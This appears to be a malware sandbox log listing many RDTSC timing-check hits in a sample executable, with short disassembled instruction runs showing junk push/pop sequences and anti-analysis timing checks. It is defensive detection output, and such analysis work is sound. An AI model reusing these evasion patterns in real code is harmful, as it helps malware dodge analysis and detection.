Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 61C675 second address: 61C686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 61C686 second address: 61C690 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0DD0C38CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 61C690 second address: 61C6AC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0DD07A5D1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c ja 00007F0DD07A5D20h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 61C6AC second address: 61C6BB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 61C6BB second address: 61C6C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 61C6C2 second address: 61C6C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 622BFE second address: 622C16 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0DD07A5D16h 0x00000008 jns 00007F0DD07A5D16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jbe 00007F0DD07A5D18h 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6218CD second address: 6218D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6218D6 second address: 6218E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD07A5D1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6218E5 second address: 621901 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F0DD0C38D01h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 621901 second address: 621909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62238E second address: 622392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 622392 second address: 6223AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D26h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 622858 second address: 62287C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F0DD0C38D04h 0x0000000b popad 0x0000000c pushad 0x0000000d jc 00007F0DD0C38CF6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 622A3E second address: 622A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 622A49 second address: 622A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 622A4F second address: 622A55 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 622A55 second address: 622A5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 622A5A second address: 622A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 622A60 second address: 622AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jc 00007F0DD0C38CF6h 0x0000000c popad 0x0000000d push esi 0x0000000e jmp 00007F0DD0C38CFDh 0x00000013 jo 00007F0DD0C38CF6h 0x00000019 pop esi 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d pushad 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 push edx 0x00000021 pop edx 0x00000022 popad 0x00000023 jmp 00007F0DD0C38D04h 0x00000028 ja 00007F0DD0C38CFCh 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 626483 second address: 626489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 626489 second address: 62648D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62648D second address: 626491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 626491 second address: 6264A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6264A4 second address: 6264AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6264AC second address: 6264C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DD0C38CFEh 0x00000009 jng 00007F0DD0C38CF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6264C4 second address: 6264C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62855A second address: 628560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 628560 second address: 628568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 628568 second address: 628575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push esi 0x00000009 pop esi 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 628575 second address: 62857A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5B0B91 second address: 5B0BA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38CFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5B0BA7 second address: 5B0BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62D836 second address: 62D83E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62D83E second address: 62D857 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0DD07A5D1Eh 0x00000008 push edi 0x00000009 jnl 00007F0DD07A5D16h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62C347 second address: 62C34D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62C34D second address: 62C351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62C65B second address: 62C65F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62CD2D second address: 62CD33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62CFB9 second address: 62CFBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62CFBD second address: 62CFC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62D6D3 second address: 62D6DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 62D6DA second address: 62D6E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 634DF3 second address: 634E01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F0DD0C38CF8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 634E01 second address: 634E08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 634E08 second address: 634E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0DD0C38D04h 0x0000000c jl 00007F0DD0C38CF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 635339 second address: 63533D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 63533D second address: 63534D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jo 00007F0DD0C38CF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 634884 second address: 6348A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 popad 0x00000008 push ecx 0x00000009 pushad 0x0000000a jmp 00007F0DD07A5D1Ch 0x0000000f jns 00007F0DD07A5D16h 0x00000015 popad 0x00000016 jnp 00007F0DD07A5D1Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 63591F second address: 63592F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD0C38CFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 635C09 second address: 635C1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 635C1B second address: 635C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FC476 second address: 5FC4C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F0DD07A5D22h 0x0000000f nop 0x00000010 mov edx, 0819E82Eh 0x00000015 lea eax, dword ptr [ebp+1248822Bh] 0x0000001b mov dword ptr [ebp+12473990h], ecx 0x00000021 pushad 0x00000022 sub bx, 4D8Ah 0x00000027 mov dword ptr [ebp+122D2327h], edi 0x0000002d popad 0x0000002e nop 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FC4C4 second address: 5FC4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FC4C8 second address: 5DBBA8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jns 00007F0DD07A5D1Eh 0x0000000e nop 0x0000000f mov dword ptr [ebp+124790D6h], edx 0x00000015 call dword ptr [ebp+1245CD4Fh] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F0DD07A5D1Bh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FC68A second address: 5FC68F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FCB6F second address: 5FCB92 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jmp 00007F0DD07A5D22h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FCB92 second address: 5FCB96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FCB96 second address: 5FCBBC instructions: 0x00000000 rdtsc 0x00000002 je 00007F0DD07A5D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edi 0x0000000e jne 00007F0DD07A5D1Ch 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FCBBC second address: 5FCBC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FCE53 second address: 5FCE59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FCE59 second address: 5FCE5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FD2A9 second address: 5FD2AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FD445 second address: 5FD449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FD449 second address: 5FD44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FD44F second address: 5FD464 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DD0C38D01h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FD60E second address: 5FD612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FD680 second address: 5FD684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FD684 second address: 5FD695 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0DD07A5D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FD695 second address: 5FD6B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38D08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F0DD0C38CF6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FD6B9 second address: 5FD6BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FD6BD second address: 5FD751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edi, edx 0x0000000a pushad 0x0000000b cmc 0x0000000c stc 0x0000000d popad 0x0000000e lea eax, dword ptr [ebp+1248826Fh] 0x00000014 jg 00007F0DD0C38D00h 0x0000001a push eax 0x0000001b jmp 00007F0DD0C38D07h 0x00000020 mov dword ptr [esp], eax 0x00000023 push 00000000h 0x00000025 push edi 0x00000026 call 00007F0DD0C38CF8h 0x0000002b pop edi 0x0000002c mov dword ptr [esp+04h], edi 0x00000030 add dword ptr [esp+04h], 0000001Dh 0x00000038 inc edi 0x00000039 push edi 0x0000003a ret 0x0000003b pop edi 0x0000003c ret 0x0000003d mov dx, 54B5h 0x00000041 sub edx, 71FF2734h 0x00000047 lea eax, dword ptr [ebp+1248822Bh] 0x0000004d jmp 00007F0DD0C38D01h 0x00000052 nop 0x00000053 jng 00007F0DD0C38D04h 0x00000059 push eax 0x0000005a push edx 0x0000005b jns 00007F0DD0C38CF6h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5FD751 second address: 5DC6DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F0DD07A5D16h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F0DD07A5D18h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c jmp 00007F0DD07A5D27h 0x00000031 ja 00007F0DD07A5D18h 0x00000037 call dword ptr [ebp+1244AFD6h] 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F0DD07A5D27h 0x00000045 jmp 00007F0DD07A5D1Ch 0x0000004a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 639476 second address: 639484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38CFAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 639484 second address: 6394B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 jmp 00007F0DD07A5D20h 0x0000000d pop eax 0x0000000e jl 00007F0DD07A5D1Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 jno 00007F0DD07A5D16h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6394B1 second address: 6394BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6394BA second address: 6394C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0DD07A5D16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 639612 second address: 63961A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 63961A second address: 639622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64056A second address: 640575 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007F0DD0C38CF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 640575 second address: 6405A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0DD07A5D23h 0x0000000e jmp 00007F0DD07A5D26h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 63FEE2 second address: 63FEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 63FEED second address: 63FF21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F0DD07A5D23h 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0DD07A5D1Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 63FF21 second address: 63FF27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 63FF27 second address: 63FF2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 63FF2B second address: 63FF2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 63FF2F second address: 63FF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD07A5D1Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F0DD07A5D1Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
